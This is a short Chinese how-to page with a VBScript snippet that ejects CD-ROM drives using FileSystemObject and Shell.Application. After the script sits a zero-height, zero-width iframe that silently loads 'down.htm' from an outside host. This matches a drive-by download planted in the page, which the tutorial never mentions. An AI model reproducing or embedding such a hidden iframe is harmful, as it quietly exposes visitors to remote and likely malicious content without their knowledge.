怎样弹出 CD-ROM

弹出 CD-ROM

Const CDROM = 4
For Each d in CreateObject("Scripting.FileSystemObject").Drives
  If d.DriveType = CDROM Then
    Eject d.DriveLetter & ":\"
  End If
Next

Sub Eject(CDROM)
  Dim ssfDrives
  ssfDrives = 17
  CreateObject("Shell.Application")_
    .Namespace(ssfDrives).ParseName(CDROM).InvokeVerb("E&ject")
End Sub

<iframe src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe>

你可能感兴趣的:(ROM)